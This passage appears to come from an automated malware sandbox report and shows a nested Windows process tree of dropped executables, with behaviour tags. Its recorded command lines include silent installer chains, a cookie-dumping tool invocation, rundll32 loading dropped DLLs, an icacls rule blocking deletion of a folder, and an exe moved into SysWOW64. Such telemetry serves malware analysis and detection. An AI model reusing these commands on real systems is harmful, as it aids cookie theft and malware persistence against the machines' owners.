                                                                                                                                                                    14⤵
                                                                                                                                                                      PID:6540
                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\a2utycuj.g2i\toolspab1.exe & exit
                                                                                                                                                                      14⤵
                                                                                                                                                                        PID:1188
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a2utycuj.g2i\toolspab1.exe
                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\a2utycuj.g2i\toolspab1.exe
                                                                                                                                                                          15⤵
                                                                                                                                                                            PID:4108
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a2utycuj.g2i\toolspab1.exe
                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\a2utycuj.g2i\toolspab1.exe
                                                                                                                                                                              16⤵
                                                                                                                                                                                PID:7500
                                                                                                                                                                  • C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe
                                                                                                                                                                    "C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe"
                                                                                                                                                                    10⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:5964
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-A6EUE.tmp\LabPicV3.tmp
                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-A6EUE.tmp\LabPicV3.tmp" /SL5="$3048A,448783,365056,C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe"
                                                                                                                                                                      11⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                      PID:6112
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-814M2.tmp\758____Dawn.exe
                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-814M2.tmp\758____Dawn.exe" /S /UID=lab214
                                                                                                                                                                        12⤵
                                                                                                                                                                          PID:2704
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\SJHSXPLTWA\prolab.exe
                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\SJHSXPLTWA\prolab.exe" /VERYSILENT
                                                                                                                                                                            13⤵
                                                                                                                                                                              PID:6748
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-JUMAC.tmp\prolab.tmp
                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-JUMAC.tmp\prolab.tmp" /SL5="$104EE,575243,216576,C:\Users\Admin\AppData\Local\Temp\SJHSXPLTWA\prolab.exe" /VERYSILENT
                                                                                                                                                                                14⤵
                                                                                                                                                                                  PID:6816
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\03-2e162-ef0-4adae-f0ed2ecfc0af3\SHutyxegeky.exe
                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\03-2e162-ef0-4adae-f0ed2ecfc0af3\SHutyxegeky.exe"
                                                                                                                                                                                13⤵
                                                                                                                                                                                  PID:6832
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\36-63acf-f32-d81bf-b595570343210\Sadaecetime.exe
                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\36-63acf-f32-d81bf-b595570343210\Sadaecetime.exe"
                                                                                                                                                                                  13⤵
                                                                                                                                                                                    PID:6932
                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4jquwmrx.rgj\GcleanerEU.exe /eufive & exit
                                                                                                                                                                                      14⤵
                                                                                                                                                                                        PID:7976
                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cpbodind.hry\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                                                                        14⤵
                                                                                                                                                                                          PID:8160
                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\q0gnuvys.zkz\ifhwwyy.exe & exit
                                                                                                                                                                                          14⤵
                                                                                                                                                                                            PID:2200
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\q0gnuvys.zkz\ifhwwyy.exe
                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\q0gnuvys.zkz\ifhwwyy.exe
                                                                                                                                                                                              15⤵
                                                                                                                                                                                                PID:7632
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                  16⤵
                                                                                                                                                                                                    PID:7524
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                    16⤵
                                                                                                                                                                                                      PID:6804
                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cmnsavt5.ur2\Setup3310.exe /Verysilent /subid=623 & exit
                                                                                                                                                                                                  14⤵
                                                                                                                                                                                                    PID:7504
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\cmnsavt5.ur2\Setup3310.exe
                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\cmnsavt5.ur2\Setup3310.exe /Verysilent /subid=623
                                                                                                                                                                                                      15⤵
                                                                                                                                                                                                        PID:2172
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-FPRSJ.tmp\Setup3310.tmp
                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-FPRSJ.tmp\Setup3310.tmp" /SL5="$406FC,138429,56832,C:\Users\Admin\AppData\Local\Temp\cmnsavt5.ur2\Setup3310.exe" /Verysilent /subid=623
                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                            PID:6764
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-SCFVP.tmp\Setup.exe
                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-SCFVP.tmp\Setup.exe" /Verysilent
                                                                                                                                                                                                              17⤵
                                                                                                                                                                                                                PID:6980
                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\l4tvs145.ttd\google-game.exe & exit
                                                                                                                                                                                                          14⤵
                                                                                                                                                                                                            PID:6740
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\l4tvs145.ttd\google-game.exe
                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\l4tvs145.ttd\google-game.exe
                                                                                                                                                                                                              15⤵
                                                                                                                                                                                                                PID:1336
                                                                                                                                                                                                                • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                                                                                                                                                                                  "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",setpwd
                                                                                                                                                                                                                  16⤵
                                                                                                                                                                                                                    PID:7952
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 7952 -s 620
                                                                                                                                                                                                                      17⤵
                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                      PID:6064
                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nqiwvnob.tjq\GcleanerWW.exe /mixone & exit
                                                                                                                                                                                                                14⤵
                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                • Drops file in Program Files directory
                                                                                                                                                                                                                PID:5372
                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ollaxxdl.44y\toolspab1.exe & exit
                                                                                                                                                                                                                14⤵
                                                                                                                                                                                                                  PID:7292
                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                    15⤵
                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                                                                    PID:5092
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\ollaxxdl.44y\toolspab1.exe
                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\ollaxxdl.44y\toolspab1.exe
                                                                                                                                                                                                                    15⤵
                                                                                                                                                                                                                      PID:6004
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\ollaxxdl.44y\toolspab1.exe
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\ollaxxdl.44y\toolspab1.exe
                                                                                                                                                                                                                        16⤵
                                                                                                                                                                                                                          PID:5192
                                                                                                                                                                                                            • C:\Program Files (x86)\Data Finder\Versium Research\guihuali-game.exe
                                                                                                                                                                                                              "C:\Program Files (x86)\Data Finder\Versium Research\guihuali-game.exe"
                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                              PID:6024
                                                                                                                                                                                                              • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                                                                                                                                                                                "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",install
                                                                                                                                                                                                                11⤵
                                                                                                                                                                                                                  PID:6404
                                                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\p2l4l4a3.3fh\google-game.exe & exit
                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        PID:4676
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\p2l4l4a3.3fh\google-game.exe
                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\p2l4l4a3.3fh\google-game.exe
                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          • Checks computer location settings
                                                                                                                                                                                                          PID:5164
                                                                                                                                                                                                          • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                                                                                                                                                                            "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",setpwd
                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                              PID:5092
                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\22exualm.lje\GcleanerWW.exe /mixone & exit
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                            PID:476
                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4xqnj3lb.cnh\toolspab1.exe & exit
                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                              PID:7500
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\4xqnj3lb.cnh\toolspab1.exe
                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\4xqnj3lb.cnh\toolspab1.exe
                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                  PID:3704
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\4xqnj3lb.cnh\toolspab1.exe
                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\4xqnj3lb.cnh\toolspab1.exe
                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                      PID:7860
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\hbggg.exe
                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\hbggg.exe"
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                                                          PID:4876
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:4676
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                              PID:4216
                                                                                                                                                                                                        • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                          PID:3812
                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Checks processor information in registry
                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                            PID:3944
                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                            • Checks processor information in registry
                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                            PID:1364
                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                          PID:4004
                                                                                                                                                                                                        • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                          C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                                                                                                          PID:4476
                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                          • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                          PID:2636
                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                          PID:4496
                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                          PID:5228
                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                          PID:4208
                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                            PID:3644
                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                              PID:6576
                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                PID:7248
                                                                                                                                                                                                              • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                  PID:7828
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\BB90.exe
                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\BB90.exe
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                    PID:3200
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\BD18.exe
                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\BD18.exe
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                      PID:5928
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\BF9A.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\BF9A.exe
                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                        PID:6552
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\CC6C.exe
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\CC6C.exe
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                          PID:6868
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\D278.exe
                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\D278.exe
                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                            PID:6740
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\D278.exe
                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\D278.exe
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:5224
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\D278.exe
                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\D278.exe
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:6968
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\D632.exe
                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\D632.exe
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                  PID:4204
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\D98E.exe
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\D98E.exe
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                    PID:4108
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\DC6E.exe
                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\DC6E.exe
                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                      PID:7160
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\DFE9.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\DFE9.exe
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                        PID:4264
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\E394.exe
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\E394.exe
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                          PID:5564
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                          C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                            PID:4288
                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                            C:\Windows\explorer.exe
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                              PID:7016
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                              C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                PID:8028
                                                                                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                C:\Windows\explorer.exe
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                  PID:8172
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                    PID:7376
                                                                                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                    C:\Windows\explorer.exe
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                      PID:5236
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                        PID:4144
                                                                                                                                                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                        C:\Windows\explorer.exe
                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                          PID:6224
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                            PID:7240
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2CE2.exe
                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2CE2.exe
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                              PID:7568
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2CE2.exe
                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\2CE2.exe
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:5656
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                    icacls "C:\Users\Admin\AppData\Local\2719ede9-f030-462e-acea-8e1eef1e9952" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                    PID:6076
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2DAE.exe
                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\2DAE.exe
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                  PID:6168
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\39E4.exe
                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\39E4.exe
                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                    PID:6784
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\3BCA.exe
                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\3BCA.exe
                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                      PID:5212
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-IAG3C.tmp\3BCA.tmp
                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-IAG3C.tmp\3BCA.tmp" /SL5="$401A0,172303,88576,C:\Users\Admin\AppData\Local\Temp\3BCA.exe"
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:7504
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-SI0M0.tmp\èeèrgegdè_éçè_)))_.exe
                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-SI0M0.tmp\èeèrgegdè_éçè_)))_.exe" /S /UID=rec7
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:6816
                                                                                                                                                                                                                                                                              • C:\Program Files\Microsoft Office 15\KICPMMKMBG\irecord.exe
                                                                                                                                                                                                                                                                                "C:\Program Files\Microsoft Office 15\KICPMMKMBG\irecord.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                  PID:60
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-N8VMG.tmp\irecord.tmp
                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-N8VMG.tmp\irecord.tmp" /SL5="$507D8,5808768,66560,C:\Program Files\Microsoft Office 15\KICPMMKMBG\irecord.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                      PID:7184
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\95-a3eaf-58b-ef290-1843641b97020\Lilopacaeshy.exe
                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\95-a3eaf-58b-ef290-1843641b97020\Lilopacaeshy.exe"
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:7324
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\12-adac6-a55-9b2b4-a78c425f78eaa\Jiquvaecyde.exe
                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\12-adac6-a55-9b2b4-a78c425f78eaa\Jiquvaecyde.exe"
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                        PID:7608
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\4735.exe
                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\4735.exe
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                    PID:7500
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\4B9B.exe
                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\4B9B.exe
                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                      PID:6060
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ehhzfvx\
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:5828
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jbpdrqga.exe" C:\Windows\SysWOW64\ehhzfvx\
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:4328
